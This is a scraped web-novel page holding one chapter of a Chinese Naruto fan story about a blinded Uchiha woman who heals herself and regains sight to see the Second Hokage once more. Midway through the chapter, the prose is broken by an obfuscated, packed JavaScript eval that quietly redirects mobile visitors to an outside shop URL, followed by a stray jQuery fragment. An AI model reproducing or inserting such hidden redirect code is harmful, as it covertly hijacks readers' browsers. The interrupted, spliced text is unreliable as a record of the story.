文趣网 > 其他小说 > 宿命 无法改变的宇智波-战国篇 > 174.我想见他最后一面
    那一日失态痛哭、滚落楼梯过后,花阳一直暗自忧心,总怕我执意寻短见。

    往后的日子里,她寸步不离守在我身侧,时时陪着我、看着我,不肯让我独自乱跑。

    她总是认真的安慰我。

    “只要活下去,就一定会遇到好事的。”

    我早已分不清如今的境遇,什么是好事,什么是坏事。

    她真诚的话语,我终究沉默听着。

    她说,等我身上的伤痛彻底痊愈,便带我走出这间宅邸,去看山野花草、去听溪涧流水,好好看看世间温柔风光。

    她告诉我,眼下正是此处一年一度转瞬即逝的暖春,春日落幕之后,漫长寒冬便会席卷整片国土。

    到时候,万里冰封,白雪覆川。

    我握着纸笔,写下问句,试探着询问自己身处何地。

    花阳告诉我,这里是霜之国。

    她说这片国土极为特殊,终年苦寒,四季大半都被冰雪封冻,只有春日能挣脱霜雪、生出绿意。

    她说算我运气好,若是恰逢寒冬,以我当初满身重创、昏迷倒地的模样,定然会被漫天大雪掩埋,或是活活冻死在荒郊野外,根本撑不到被她们母女救下的时刻。

    以前在火影护卫小队任职的时候,火之国附近所有国度的地形版图,我早已烂熟于心,却从未听过霜之国的名字。

    休养的日子缓缓过去。

    某日午后,花阳兴冲冲从屋外奔回,步履轻快,带着满身浅淡的花香。

    她小心翼翼将一枚亲手编织的花环轻轻戴在我的头顶:

    “屋外的樱花树开啦,这是我用柔软柳枝、细碎樱花瓣编的花环,送给杏奈姐姐。”

    “杏奈姐姐长得这么好看,再哭鼻子就不好看了。”

    我知道她依旧对那日我滚落楼梯、无声痛哭、几近崩溃的模样耿耿于怀,始终放心不下,无时无刻安抚着我残破的心神。

    我微微抬手,想借着微弱的力气,温柔揉一揉她柔软的发顶。

    可双目空空,视线全无,指尖轻轻晃动,终究只是徒劳扑空。

    花阳乖乖凑近上前,小脸轻轻蹭过我的掌心,让我真切触碰到她柔软的脸颊、细碎的发丝。

    掌心传来的触感,抚平了心底些许荒芜。

    或许她说的是对的,好好活着,或许会遇见细碎的温柔与美好。

    枝头樱花花期短暂、转瞬即逝。

    可头顶这枚亲手编织的樱花花环,却能长久留存。

    或许,真的是从前的自己太过倔强、太过执拗。

    攥着执念、遗憾不肯放手,困在回忆里自我折磨、寸步难行。

    自此,我试着一点点放下过往,试着与过去的自己和解。

    我拼命想要遗忘战国乱世的所有纷争,遗忘木叶初建乃至后世的所有过往,彻底抹去关于他的一切点滴。

    遗忘他说过的每一句话、许下的每一个诺言,遗忘我们所有的相遇、羁绊与决裂。

    我开始好好吃饭、静心养伤、振作精神。

    不再反复纠结他的狠心绝情,不再揣测他是否对我有过半分真心。

    不再纠结自己是否被爱。

    我借着花阳母女的医疗手法、熟识的医疗器具,大概能够推断出自己早已脱离了木叶初建的战国时代多年。

    或许,已经回到了原本属于我的时代。

    可天地辽阔、四海之大,竟没有我一寸容身之地。

    无论是恩怨纠葛的初创时代,还是物是人非的现世,都再也容不下满身伤痕、失去一切的宇智波千歲。

    或许,过去这么久,他早就死了。

    我回想自己在战国时代拼尽全力所做的一切,回想我改变命运、洗刷偏见、守护木叶安稳的所有执念。

    时移世易,所有过往都已成定局。

    再去纠结,也没有意义了。

    我早已失去了身为忍者的所有资格。

    我一遍遍自我宽慰,那些大义、和平,那些族群羁绊,自此往后,都与我再无半点关联。

    日子平淡流逝,我渐渐察觉,花阳母女近日极少出门,整日紧闭门窗、小心翼翼。

    她们告诉我,雷之国境内突发动乱,一群叛忍刺杀二代雷影之后出逃作乱,四处流窜劫掠。

    霜之国紧邻雷之国,地处边境,极易被战火波及,人心惶惶,若非必要,无人敢轻易外出。

    我没有多余心力去顾及诸国纷争、忍界战乱。我早已倦了杀伐、倦了纷争、倦了所有身不由己的宿命拉扯。

    直到那日,花阳一脸雀跃、满怀欣喜地冲进房间,眉眼间满是对安稳生活的期许:

    “杏奈姐姐,我听说火之国木叶和我们霜之国正式建交了!再过几日,木叶会派驻驻扎忍者驻守边境!”

    “以后我们再也不用提心吊胆过日子,再也不用怕叛忍作乱了!”

    火之国,木叶。

    陌生又熟悉。

    心口翻涌的情绪险些破堤而出,我强行死死压下所有波澜,一遍遍告诫自己,木叶的一切,早已与我毫无瓜葛。

    “是镇上的大伯说的!”

    “他说木叶的二代目火影大人会亲临第二次忍界大战,亲自终结这场纷乱!”

    轰然一瞬,呼吸骤然停滞。

    我宛如被钉死在原地。

    颤抖的指尖抓起床边常备的纸笔。

    抖着手落下字迹,询问花阳,如今的二代目火影,究竟是谁。

    花阳挠了挠头,认真回想半晌:

    “我不知道他的名字呀……”

    “不过镇上的大伯曾经在霜之国大名府外远远见过一次!”

    她努力复述着听闻的模样:

    “听说他头发花白了,已经是一位老大叔啦。”

    “所有人都说,他的飞雷神瞬身术冠绝忍界,天下无人能及。”

    他还活着。

    我还处于他活着的时代。

    我还有机会,再见他一面。

    我以为自己早已放下所有的期待。

    可不知为何盘踞于内心深处,有什么在叫嚣着,一下又一下敲打在我的心脏上。

    我不愿意再自欺欺人。

    我爱他。

    我想见他。

    我想他想的快要疯了。

    即便是他厌恶我也好。

    哪怕是最后一面也好。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791521|203075||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    远远的看一眼也好。

    我要去见他。

    他以前说的没错,我就是做事冲动,从来不考虑后果。我骨子这份执拗与倔强,就是不允许我止步不前。

    夜深人静,月色沉沉。

    待花阳安然下楼熟睡,屋内彻底归于寂静,确认周遭再无半点动静之后,我缓缓挪过床头的忍具包,在层层忍具与卷轴之中细细翻找。

    终于,我摸到了那枚尘封多年的卷轴。

    细胞再生之术。

    木叶创立前,自为泉奈疗伤那次之后,我再未再动用过。

    我不知道那一晚是怎么熬过去的。

    我抬手褪去身上层层缠绕的绷带,将满身狰狞的旧伤、贯穿的创口尽数展露在夜色之中。

    调动体内残存无几的微弱查克拉,细细提炼、萃取,又抬手掬起床头清水,以清水为媒,催动细胞增殖再生。

    当增殖的细胞覆满破败创口的刹那,数十倍于寻常忍术的极致剧痛,瞬间席卷全身。

    是熟悉的痛感。

    我抬手抚上被明神门木遁贯穿撕裂的腹部。

    脑海里又止不住浮现出,鬼塚一战他将我紧紧拥入怀中,替我疗伤止痛的模样。

    从前有他为我抚平伤痛,我从不知道,原来独自承受这份痛楚,竟是这般撕心裂肺、生不如死。

    细胞重塑的剧痛。

    心口的思念的窒痛。

    双重折磨汹涌而来,数次让我痛得眼前发黑、几近昏死。

    我能清晰感知,破损的皮肉、受损的内脏,正在一点点新生、重塑、愈合。

    哪怕体内查克拉数次枯竭耗尽,浑身冷汗。剧烈颤抖,我依旧咬牙硬撑,静待查克拉复苏后,又反复凝聚、反复萃取。

    增殖细胞逐一覆满全身。

    溃烂的大腿。

    撕裂受损的肩胛。

    贯穿的手臂。

    破损断裂的脖颈。

    我一次次在剧痛中昏死,又在执念中清醒。

    支撑我熬过所有痛苦的,是心底那份近乎疯狂的执念。

    我想见他。

    仅此一念,让我在无尽剧痛之中,不肯放弃。

    无休无止的治疗,从深夜,一直到破晓。

    历经整夜重塑,满身旧伤尽数愈合,残破的身躯终于恢复完整,只是久卧病床,尚且无法立刻适应平稳行走。

    我再次探入忍具包,取出最后一枚封存已久的卷轴。

    单手结印,解开封印,两枚写轮眼浮现。

    这是凪水的写轮眼。

    封印了他尸体的卷轴,我日日带在身上。

    我从未想过他的眼睛有朝一日会派上用场。可如今我双目尽失、走投无路,我只能这么做。

    我以再生细胞滋养眼窝创口,改良细胞与眼球的契合度,一点点磨合、适配。

    最后,我将两枚完好的写轮眼,缓缓嵌入空洞的眼窝之中。

    我看着镜子里自己的眼眸。

    这是凪水的眼睛。

    以前的琥珀色瞳孔,如今变成了深蓝色的瞳孔。

    那一刻,阳光照在我的肌肤上。

    我感觉我获得了重生。